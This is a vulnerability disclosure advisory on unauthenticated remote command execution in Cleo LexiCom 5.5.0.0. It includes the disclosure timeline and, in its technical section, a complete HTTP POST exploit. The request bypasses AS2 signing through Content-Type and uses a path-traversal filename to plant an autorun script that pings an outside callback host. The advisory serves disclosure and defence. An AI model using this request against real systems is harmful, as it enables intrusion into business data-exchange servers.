# Cleo - LexiCom Remote Command Execution

## Vendors

- Cleo

## Affected Products

Cleo LexiCom/5.5.0.0

## Summary

Cleo LexiCom is susceptible to an unrestricted file upload vulnerability when processing remote input from an unauthenticated user, leading to remote command execution.

## Remediation/Mitigation

It is unknown if later versions of LexiCom address this issue. It may be possible to mitigate this, in part, by requiring in-bound messages to be signed and encrypted. This must be configured on a partner by partner basis. However, requiring encryption and signing would not stop a trading partner from exploiting this vulnerability to gain code execution.

## Credit

This issue was found by Stephen Breen of Atredis Partners.

## References

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33576
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33577
- https://www.cleo.com/cleo-lexicom

## Report Timeline

- 2021-02-24: Atredis Partners reached out to the vendors support team for a security contact.
- 2021-02-25: Vendor replied that the support team also handles security issues.
- 2021-03-01: Atredis Partners uploaded the vulnerability report to the vendors secure file transfer site.
- 2021-03-02: Vendor support team replied with release notes for v5.6.2 of LexiCom, but release notes do not list if issue is fixed.
- 2021-03-02: Atredis Partners informed the vendor that this is a vulnerability disclosure and that Atredis is not one of their customers.
- 2021-03-23: Atredis requested an update, no response from vendor.
- 2021-04-13: Atredis requested an update, no response from vendor.
- 2021-04-14: Atredis reported the vulnerability to CERT/CC.
- 2021-06-01: Atredis published this advisory.

## Technical Details

LexiCom is an Electronic Data Interchange (EDI) product from the vendor Cleo. It facilitates communication between trading partners over industry standard protocols such as Applicability Statement 2 (AS2). Two flaws in Cleo LexiCom's implmentation led to the ability to obtain remote command execution as an unauthenticated user:

The first is that the requirement for the sender of an AS2 message to identify themselves via encryption and signing of the message can be bypassed by changing the Content-Type of the message to `text/plain`.

The second flaw is that within the AS2 message the sender can specify a filename. This filename can include path-traversal characters allowing the file to be written to an arbitrary location on disk.

These flaws can be exploited to gain remote command execution on the system by taking advantage of a feature of the application. The installation directory for the application contains a directory called `autorun` at `C:\LexiCom\autorun`. LexiCom will parse files placed in this directory and attempt to execute them as scripts in a special format. The following `POST` request was used to write a file to the `autorun` directory which LexiCom would then execute.

```
POST / HTTP/1.1
Micalg:sha1
Date:Sun, 26 Jul 2020 17:18:04 GMT
Accept-Encoding:deflate, gzip, x-gzip, compress, x-compress
Disposition-Notification-Options:signed-receipt-protocol=optional, pkcs7-signature; signed-receipt-micalg=optional, sha1
Disposition-Notification-To:<redacted>
Ediint-Features:CEM, multiple-attachments, AS2-Reliability
Subject:EDIINTDATA
AS2-Subject:test
Te:trailers, deflate, gzip, compress
Content-Type:text/plain
Recipient-Address:<redacted>
Message-Id:<redacted>
As2-From:<redacted>
User-Agent:RPT-HTTPClient/0.3-3I (Linux)
As2-Version:1.2
Content-Disposition:attachment; filename=\..\..\autorun\test.txt
Content-Length: 78
Host:<redacted>
As2-To:<redacted>
Mime-Version:1.0
Content-Length: 78

-r * -c "SYSTEM ping <redacted>.burpcollaborator.net"
```

None of the information in the above request would be considered secret or hard to obtain. The `Message-Id` field can be anything so long as it is unique to the request. The `As2-From` field must be set to the identifier (ID) of a valid trading partner configured with LexiCom. These IDs are not secret and are publicly available.